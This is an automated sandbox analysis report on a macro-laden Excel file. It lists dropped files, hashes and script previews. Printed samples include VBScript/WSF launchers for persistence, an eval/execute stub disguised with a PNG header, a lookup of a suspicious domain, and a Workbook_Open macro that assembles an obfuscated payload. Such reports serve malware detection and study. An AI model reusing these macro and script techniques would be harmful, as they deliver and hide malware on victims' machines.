Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	HTML document, ASCII text, with very long lines (374), with no line terminators
Category:	dropped
Size (bytes):	374
Entropy (8bit):	5.1996888611826435
Encrypted:	false
SSDEEP:	6:c3WsFH3tMTJTWdiVsKKLejL93tMTJTWdiVFbRbCjL93tMTJTWdiVTbZLeIIl:c3WkH3t4y2sKK+93t4y2Fle93t4y2T18
MD5:	1E6F145873EA62595C21283EB056B811
SHA1:	5C56A94D1E047708DD886D987F950B799BFAC8A2
SHA-256:	F9F7509DC450A0439DCE9AD280B46855B75B2F1165F4B53CD144888EC7F77CDD
SHA-512:	2236E7F58E06F930BE37F10F639908A6D898C39BA286032CC7F7207E0BE4C87BAB8693052DC280CB2D212AFC7B33921936FD69C31325012A704216714CFA5991
Malicious:	false
Preview:	<job><object id="w" progid="WScript.Shell" /><script language="VBScript">w.run "wscript.exe //B "&Chr(34)&w.expandenvironmentstrings("%TEMP%")&"\winstart.wsf"&Chr(34):w.run "wscript.exe //B "&Chr(34)&w.expandenvironmentstrings("%HOMEDRIVE%")&"\autoexec.wsf"&Chr(34):w.run "wscript.exe //B "&Chr(34)&w.expandenvironmentstrings("%HOME%")&"\winstart.wsf"&Chr(34)</script></job>

C:\Windows\System32\winstart.wsf

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	dropped
Size (bytes):	114
Entropy (8bit):	5.070155721177452
Encrypted:	false
SSDEEP:	3:U69VGAEO9KTWX/6L6A/FbsONHnAv:dxX/g6A/Z6
MD5:	29CB6DC4E424F382E9D209E906781DE4
SHA1:	55C00CCBF5801AA6DF293FCFBF1E5232FD431F0E
SHA-256:	4723B49284D9ACAE5C1BAA102C7FA4B53E5E5FB15A899187BB49F0FC94E61CCF
SHA-512:	1CA7469B4D240E18393BE263EC5DAA0032CE45C67529F0394B68A1B931749CD59F37C0722EAE9541EF5DEDF16C094330A1B18E18DCC2F8A8EE2348EBAEDAEFDC
Malicious:	false
Preview:	?PNG<job id="cSJXhQP"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(cSJXhQPeXe)=1")</Script></job>

C:\Windows\TEMP\DM7332.tmp (copy)

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.9932696895151074
Encrypted:	false
SSDEEP:	3:tGZ14e8Oy:tGZ1cOy
MD5:	120BAC401728B987288DC794EB6EF9F4
SHA1:	81E31383A4504E6A1C2A50C77398544002C5012B
SHA-256:	F43622C0FFAB19BE768B34E214FA1A4A318E2BD73CAE1CCA4DF9C382BCCBDB0F
SHA-512:	85DF487BC7D9D1B6F33FFB7423363A87B753BB49E58334A544216498502C5B1C95E38BBD91924C4540E5C261E710E8F8B2A5DFDEFDD5AE76B1C1CE1F3B5F498C
Malicious:	false
Preview:	..[ctrlHost]..hCount=-1..

C:\Windows\Temp\TMP.TMP

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	114470
Entropy (8bit):	5.5307303019324054
Encrypted:	false
SSDEEP:	1536:qk6RPg8NopGkC5CEKZ/Gw5wFT+0Iet4sJz0LlXBJUiZkIrE1wo+92N3SOZ8XPuct:MOGkZLApiMioDDi/jLnuShJBOVju
MD5:	2A31D5F042914E5707DD7CA61E1A2143
SHA1:	ECC59AA42B79D6B45927A3B869EADE09AD4C7AB7
SHA-256:	A5384609BC4D4F6666E2E333ED89FBE29F35C33262A8234B621C9FC729F8B350
SHA-512:	C070689F2F589A264A4E366CB3B6FF458DB6A705D89B8FC7BC198229374AFF91EC015BF7781BC17BC71696CF53F66C85265B5C8D4D0B08AED8F5069CE7257F79
Malicious:	false
Preview:	yM = "MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|

C:\Windows\Temp\rad9038D.tmp

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.9932696895151074
Encrypted:	false
SSDEEP:	3:tGZ14e8Oy:tGZ1cOy
MD5:	120BAC401728B987288DC794EB6EF9F4
SHA1:	81E31383A4504E6A1C2A50C77398544002C5012B
SHA-256:	F43622C0FFAB19BE768B34E214FA1A4A318E2BD73CAE1CCA4DF9C382BCCBDB0F
SHA-512:	85DF487BC7D9D1B6F33FFB7423363A87B753BB49E58334A544216498502C5B1C95E38BBD91924C4540E5C261E710E8F8B2A5DFDEFDD5AE76B1C1CE1F3B5F498C
Malicious:	false
Preview:	..[ctrlHost]..hCount=-1..

C:\Windows\Temp\winstart.wsf

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	dropped
Size (bytes):	114
Entropy (8bit):	5.070155721177452
Encrypted:	false
SSDEEP:	3:U69VGAEO9KTWX/6L6A/FbsONHnAv:dxX/g6A/Z6
MD5:	29CB6DC4E424F382E9D209E906781DE4
SHA1:	55C00CCBF5801AA6DF293FCFBF1E5232FD431F0E
SHA-256:	4723B49284D9ACAE5C1BAA102C7FA4B53E5E5FB15A899187BB49F0FC94E61CCF
SHA-512:	1CA7469B4D240E18393BE263EC5DAA0032CE45C67529F0394B68A1B931749CD59F37C0722EAE9541EF5DEDF16C094330A1B18E18DCC2F8A8EE2348EBAEDAEFDC
Malicious:	false
Preview:	?PNG<job id="cSJXhQP"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(cSJXhQPeXe)=1")</Script></job>

C:\Windows\Temp\~cmdscript.tmp

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	47
Entropy (8bit):	3.6944628524176246
Encrypted:	false
SSDEEP:	3:cP901XRtuLntvy:o901Xb6dy
MD5:	518E105D40CB9498182E229780750783
SHA1:	4C9E8B263FFC4E3B8362D2F8F229EEBEB6102CFB
SHA-256:	F24BF74002B36143AC196140658F53DEDEFE5E57FFB2A7CD61B400C3C87F2975
SHA-512:	C7695DDCB872B09815DBE5AE6082CDDB7FDC8C5DAF9745EA02343921D668C2A87C750D571F12DDA041D0923BEB140C0169AA32A2F2F057DF5A72F7F857656A32
Malicious:	false
Preview:	Server: one.one.one.one..Address: 1.1.1.1....

C:\autoexec.wsf

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	dropped
Size (bytes):	114
Entropy (8bit):	5.070155721177452
Encrypted:	false
SSDEEP:	3:U69VGAEO9KTWX/6L6A/FbsONHnAv:dxX/g6A/Z6
MD5:	29CB6DC4E424F382E9D209E906781DE4
SHA1:	55C00CCBF5801AA6DF293FCFBF1E5232FD431F0E
SHA-256:	4723B49284D9ACAE5C1BAA102C7FA4B53E5E5FB15A899187BB49F0FC94E61CCF
SHA-512:	1CA7469B4D240E18393BE263EC5DAA0032CE45C67529F0394B68A1B931749CD59F37C0722EAE9541EF5DEDF16C094330A1B18E18DCC2F8A8EE2348EBAEDAEFDC
Malicious:	true
Preview:	?PNG<job id="cSJXhQP"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(cSJXhQPeXe)=1")</Script></job>

\Device\ConDrv

Download File

Process:	C:\Windows\System32\nslookup.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.298287279842611
Encrypted:	false
SSDEEP:	3:mA0uCirGW85RAkSZv:mA0uC4B85mfR
MD5:	F9D6D2A54C3A151F0A4A05D23C735712
SHA1:	E7A89C835AC2C527581E98A15B80E8A880242D64
SHA-256:	361E8A2AF0BCCF81A494C089985607C8C78FEC317D62CE64DE714EFA3563A42A
SHA-512:	73B5FAC3BC5A1687929DF9064DB8C1DF64173DF1CB6274B8C32CE97BF6B288BABE1B5A06072818F9DB2734062F022A0185AB479D71E999B5D137DA1F57D03C5C
Malicious:	false
Preview:	*** one.one.one.one can't find a1.6cs6.club: Non-existent domain...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 936, Author: Administrator, Last Saved By: Administrator, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri May 10 08:57:09 2019, Last Saved Time/Date: Wed Sep 27 17:30:47 2023, Security: 0
Entropy (8bit):	6.282729243322583
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	6fW0GedR6j.xls
File size:	261'120 bytes
MD5:	6b999100f6b93bbbb4499c90f12714a9
SHA1:	3fe568c2aff719b7da6868c81d82e8353750967e
SHA256:	d4c6fb5a000c387f83daaba5c208720fe6d367def5da93aa50235c86ff41f158
SHA512:	f8f7b2bea592396b794bd5f8926fd019da474621c6c1ed177fc299ed2df0cb84f961f5164417ab0f7e9e65559722564e561796faef4b8ef72b9b61bb366d34a6
SSDEEP:	6144:BIH1OxQKxy5gfaf8kDfsCqmN3psWUZZNDOo7/rMnT7oKLzE0erM+rK+0Z71jo3:LVknT7vz3erMD1j
TLSH:	0744C066B3E2C1E6C2201333E6DFC7965678EC554F4F82077225B3891FF5254CA26BA2
File Content Preview:	........................>..................................."...................%...&...\|......................................................................................................................................................................

File Icon


Icon Hash:	35ed8e920e8c81b5

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "6fW0GedR6j.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	936
Author:	Administrator
Last Saved By:	Administrator
Create Time:	2019-05-10 07:57:09
Last Saved Time:	2023-09-27 16:30:47
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	936
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 991

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	991
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
Data Raw:	01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 ee ea 04 c8 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 991

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	991
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0 .
Data Raw:	01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 ee ea f2 85 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 991

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	991
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . < . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
Data Raw:	01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 ee ea 3c ef 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 225984

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	225984
Data ASCII:	. . . . . . . . . . . . . . . 8 . . . . . . . . . . 6 . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . p . . . . z @ G . 2 . . . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . N - \| H . S . . . . . . . . . . . . . . . . . . . . . . . x . . . . N - \| H . S . . z @ G . 2 . . . . . . M E . . . . . . . . . . . . . . . . . . . . . 8 . P . . . . . S L . . . . S . . . . . S . . . . 6 " . . . . . < . . . . . < . . . . . . < ( . . . . . . < 0 . . . . . . . . . . . N . 0 . { .
Data Raw:	01 16 03 00 03 00 01 00 00 f2 05 00 00 e4 00 00 00 38 02 00 00 20 06 00 00 2e 06 00 00 36 10 02 00 00 00 00 00 01 00 00 00 ee ea 85 04 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 cd 12 f2 a8 7a b4 dc 40 92 47 a0 8a 0a 32 13 15 19 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
  On Error Resume Next
  Dim gPath As String, str As String
  str = str & "yM = """
str = str & "MWblMS|00V83h|5RXlNq|pP5WqQ|swyX6U|fe36Ld|7wiX6U|3I5WXJ|KwAei8|7l7gIv|MWblMS|QpNqpZ|5SLPMn|TvMSLs|31XI5w|uQdWfF|74JkMg|Av564A|i8xl3n|qYKgAz|760Qsw|Ed7RTs|31yYKg|Az760S|V2ipks|4Wi6T0|5HAcVn|bF76iX|6WXYKG|Lv5H0Q|ZsLjKg|tY5GXJ|kRLv5H|0pNqpT|3SLT5l|XJMShj|Kgt05H|AcV6TX|bfbLiS|UQZS40|iPbY3w|FX6U7l|7gIvMW|blMS4A|igP6kP|X05glJ|kgXYKG|Lv5H0c|ijxBZS|ipkN8p|kqJkbw|xz3qJk|bHfJ5w|A23gf2|iNJQyu|iYiWA8|oRbFfN|lPwfQI|uGp8fJ|fDbNfX|fIqEs1|p8qHhv|5WIYfJ|bsXWIn|bjPtsP|pRfJhE|uGpnwW|bosPpR|OPhEXP|Tym87h|fNlWqW|XpdHA8|qJA15W|fYKH7w|7gAimw|3DbgIZ|OlbIq1|pKZdJS|kqJkbw|EUi8lW|NqpP5W|qQbnfe|yGbp5H|FX6lXI|ySLu31|Tt3wEv|k6UX6U|Aei8f2|MWA2iP|TlMGft|3sLo31|hJNqp8|KwJQfH|IpVgI0|MWAjNq|pd31qQ|fHIpZu|7l78AS|KWfj76|QS7Hle|5w7t7R|mD1P0e|1RTv5G|bMyHlt|7jiSkq|Jk5d8Q|ZsLdMg|xp76QS|OgI2Kw|7BOgI2|KwMtyw|IU9Rht|MWlnVw|EHKwbp|y1xF51|Tp32Ie|5GbcM2|JzmnxF|51Tp32|Ie5Gbc|MGxF51|Tp32Ih|5wqt5W|AJ5RXB|5wle31|Tny1bl|VwXcK1|xF51it|MGbhK2|icin0S|kqJkbW|A2i8fh|yHQQKs|LT5SLt|mqJkuH|fJigI0|MWAjZf|7tKsEl|OgfjM1|flMnUY|"
str = str & "inXl5g|fj764a|ig325H|JQ7Hle|mzT9MR|TvyHfz|M2LGKg|f23sLe|ywIlZs|MSTWUW|iSElOg|uniSUX|6U3vMS|LPywXY|igJQsw|FQ51L2|5HmX6W|Je7gf2|5wley1|blk6UX|6UElOR|qX6UEl|ORqX6U|fe36Ld|7wiX6U|3I5WXJ|KwAeig|XYKG7z|MRiYkq|JkdHFQ|b1T25G|iQuWfz|7wIli8|ElORqX|6WXYKG|7zMRiQ|Zs4Sw6|iX6Ubp|5sL15w|Ucdwfe|52xX3w|EvqsxX|3wEvdQ|JkuHfJ|iP7tKd|IR31bZ|yWplyG|qYin7p|5WIn51|bzolxM|Vlx25H|AJ1gXp|51y2iS|UX6lXl|76LtMR|TvyzI1|5wUe31|hlyGPI|31TEk6|Tz3wxl|yGqQkS|LWMWAt|iR7p5j|m21GL2|5HXlMG|mSkqJk|bWA2i8|fhyHQQ|MRTvi8|leigI0|MWAjNq|pT3SLm|qHPz3s|h0MWBe|5WPt3s|UQZs4S|51ltKw|ElMSEl|OguSiP|bY3wFQ|yHhr7G|X0MS4A|i6TXiS|LP5WqQ|swyX6U|lWi8xN|y1XlkR|L252Ee|ywIlks|4Ai6Tt|OwIp5W|f2ysEl|OguSiP|bY3wFQ|yHhr7G|X0MS4A|igXYKG|7zMRiW|iU8Si8|fe36LT|3QJksw|yQd8Xh|MHuYMR|TvVWEh|5wupiN|JQiWIE|5wle31|TeVWfF|3siQfg|hl5QJk|yHhr7G|X0MS4A|igXYKG|7zMRiW|iUFSNq|pPOglJ|i83vMQ|JkbwEU|i8lWNq|po31hJ|NqpP5W|qQbnfe|yGbp5H|FX6lXI|ySL0MW|fZ3W3p|yHuQkg|PU3RTY|5GXJkq|JkMRTl|bgAG5S|4SdWA2|5wPcVW|bvy2ic|KwEz7g|Pc5gbp|MS0SMW|teMW0e|f8Iqms|iciWFS|"
str = str & "VNqX6n|L23ubv|7HFQiU|Tv5Hce|OgxziS|xp5nXJ|ywxc3g|l2V6T2|KHE256|Eudf42|iS0S5S|icXqJk|bwEUiP|XIyQJk|bnfeyG|bp5HFQ|MRTlbg|AG5ShW|KwxldW|Pt3sxz|y13lug|PJK6xz|y13ldW|Pt3sxl|OgfjVg|UpNqpZ|5SLPMn|TvMSLs|31XI5w|uQdWfF|74Jk71|TciNJQ|dgfW76|hY5GXJ|V6LT5l|XJMlTl|7ShY5G|XJV6iv|iSUpi6|yQ3Wlc|3uEh5w|uX6Wbv|7HEc5H|PUiRf2|56xzy1|3lugPJ|K6xzy1|3ldWPt|3sxlOg|fjNqpT|3SLo5G|qQbnXv|VU3p5g|fPOglz|7RmYMH|PH3fLh|7gQQTS|Lzy13l|dWPt3s|UQfghl|5QJkuW|Av7RTl|M24Aig|XYKGTv|5GqX6n|f2564A|iPX05g|lJi6hs|5HAJMW|fzV6iB|9NFSks|hpkqJk|5WfJiN|JQuGLc|K1qQkR|f2560S|96ipkN|8pNqpU|5G7e5g|Ah36Le|31qcMH|PH3fLh|7gQcMH|PH3uEh|5wuc31|hly0Jk|bwEUi8|lWNqpT|3SLo5G|qQbnXv|VU3p5g|fPOglz|7RmYMH|PH3fLh|7gQQTS|Lzy13l|dWPt3s|UQfghl|5QJkMR|TlbgAG|5S4Ai8|3h5RXl|NqpP5R|XlNqp0|MWf85G|7eiNJQ|fRTI3q|JkbwEU|i8lWNq|pP5WqQ|bnfeyG|bp5HFX|6U3I5W|XJKwAe|i87l78|lqk6UX|6UAei8|f2MWA2|iPTlMG|ft3sLo|31hJNq|p8KwJQ|5HTaf2|xj5HxL|Nqpd31|qQ5HTa|f24Ai8|7l78AS|KWfj76|QS7Hle|5w7t7R|mD1P0e|1RTv5G|bMyHlt|7jiSkq|JkuHfJ|igXv58|8QZsLv|yWp1VU|fF3wXb|"
str = str & "7wf2Os|QSuJfm|buXui6|YQblTZ|dsL1Kw|FzmlAo|31bG5G|Trqwbh|MRblMU|Xv5W3p|3Gf2y1|bp5HFQ|fJhPuU|uQsfLP|5WPS5g|fUiNJQ|fRTI3s|ipNqpT|3SLj5H|xLVUlJ|3wIT5W|blO6Q0|ksEXqu|XL3gb2|31XzkN|4piN0+|i6iSiP|bY3wFX|6WxvyH|PcdwPj|iNJQuW|f05gPj|3shj5H|xLVUlJ|3wIT5W|blO6Q0|ksEXqu|XL3gb2|31XzkN|4pV6iD|iS0SiS|UX6Ufe|36LT3Q|JkbHfJ|sf4QZs|Lj5HxL|VUlJ3w|IT5Wbl|O6Q0ks|ETu8PU|3RTlMG|mYm6UX|6Ufe36|Lg7wEj|7glv5Q|Jkbnfe|yGbp5H|FQqwbU|bWl23f|7h5g0Y|5WPt3s|x05GTJ|VRXJy1|blVR7l|yUP0M6|UX6UAe|i8f2MW|A2iPTl|MGft3s|Lo31hJ|Nqpd31|qQ5HTa|bWl231|7h5g0Q|ZsLNMW|fh7gfZ|yWplyG|qYiUho|31bN3W|Mebn7X|3GiSkq|JkuHfJ|igASKl|Lv5glj|Os4Aig|ASKU3p|MWfGyw|xcVUxv|yHPcug|AcKwXE|VUXIMn|Tl5nbq|MWAWKw|xlNqpd|31qQ5H|TaugA2|764Ai8|X23wPJ|3uASKW|fj76QS|s8El78|XW32Eg|7JA03w|Eq5GTJ|iSUX6W|ASKlLv|Mnqeug|A2764A|iRLvMn|qX6WAS|KlLvMn|qedWPt|3s4Aig|Eh5wuX|6WASKl|LvMnqe|bwEhyW|xl364A|iRXJy1|blNqpd|31qQyH|AcugA2|7RmQZs|LvyWpq|5HxpyG|UebHxv|yWPc5R|lZMgfe|ugA27R|mX6WXv|5PLvMn|bzVUPU|36hvyW|pq5GTJ|kqJkuH|fJigAS|KUP0M6|4Ai8X2|3wPJ3u|ASKWfj|"
str = str & "76QSs8|El78XW|32Eg7J|PI7ghv|MWlD3w|bLMRLc|KwXh7g|lv5Sip|NqpvyW|pLMR4e|dWPt3s|4Ai6TX|Of7lyU|P0M6iX|6WASKU|P0M6ET|uP3lMn|Xp5HFQ|Zs42Nq|pvyWpL|MR4euR|TvyHfz|MJltyw|7lbWlc|3uEh5w|uQZsLG|3wTLMR|4X6WAS|KUP0M6|Es3wIv|7gfL3g|b231Xz|31mQZs|4SkSiX|6WASKU|P0M6Ed|yHA03s|4AiN4X|6WASKU|P0M6EP|5WPS5g|fUiNJQ|fRTI3q|JkuHfJ|igXv58|P0M64A|igASKl|Lv5glj|OsEL71|bY5GTp|OWfUq1|L05glj|y1bp5H|EzNqpj|5HxLMR|4eqwbU|kgASKU|P0M6UX|6Ufe36|Lg7wEj|7glv5Q|Jkbnfe|yGbp5H|FQqwbU|ugf25w|lzMHlv|5Shz7R|TfMHf2|VRXJMl|Lh7gQc|MGb2qw|Xj31Xz|VgTcsw|EY31Tp|76UX6l|Xl76Lv|yWp1du|ld31TH|KwXliN|JQbHfJ|dHTa3w|XJk6TG|KwEt3H|IJMzpM|16EMMW|Av7PxN|KwIHmS|ipNqpd|31qQ3n|XviNJQ|qGTly1|bldHTa|3wXJk6|TdyGTp|MRbp5W|MebWlc|3fXEMG|bl5uAS|KWfj76|ipNqpd|31qQyH|Acf1Xl|MnmQZs|LvyWp1|duld31|THKwXl|VUfF3w|Xb7wf2|OsQSuJ|fmbuXu|i6YQbl|TZdsL1|KwFzml|ALyHXv|7wEJiP|7ibfTP|i8Eh5w|uAT2iW|MGb2f1|XlMSyS|T2ipNq|pT3SLj|5HxfMH|f2M2Ej|5Gfe7N|0+m6Lu|KgfeNq|pg5GiQ|bwPjK6|LvyWpf|MHf2i8|leigXv|5Pfz31|TzNqpz|7RTdsu|qQZsLv|yWpfMH|f2VlXT|b4JkdW|fF74Jk|"
str = str & "bwxz3q|JkqwbU|ugf25w|lzMHlv|5S4AiN|8X6UfF|K1qQbn|feyGbp|5HFX6U|fe36LT|3QJkuH|fJigAS|KlXTb6|4AigAS|Kl7Xsf|XlMn3p|yHuebH|fJk6T1|KwFzml|Adsuqe|uJl8Zs|MSTnXJ|MlXTb6|yST2ip|Nqp0y1|bYfRl0|3s4Ai6|iSNqpT|3SLWMH|Be3Wlc|3ufFK1|XJM2hz|7RTqy1|bYksLu|KgfeiR|Lh7ghu|O1LliN|JQiU3T|d8uSNq|pT3SLW|MHBe3W|Ac3gf2|b1hpMG|bzkRXJ|MlLh7g|QpiPbY|3wFQMg|PJKPbE|MguQZs|4SbUAm|b8fsiQ|JkswyQ|MgPJKP|bEMguQ|Zs4SiS|LuKgfe|NqpL3g|bq31Tt|K1XzKw|AeiNJQ|mQJkb1|hp76Lg|7wEj7g|lv5QJk|bwEUi8|lWNqpd|31qQ5H|TafRTI|MGbl3s|4AigAS|Kl7Xsf|XlMn3p|yHuebH|fJk6T1|KwFzml|AuMnfz|7gfliS|UeuGLh|7HET5n|XJywEj|3fBYkq|Jk5HTa|fRTIMG|bl3sE8|5HIhKw|FQZsLv|yWpdsu|qeuWfW|31Tl5W|Xl38bv|5wPp5U|Eh5wuX|6WASKl|b271XJ|3wuedW|Pt3s4A|igASKl|XTb6EL|yHXv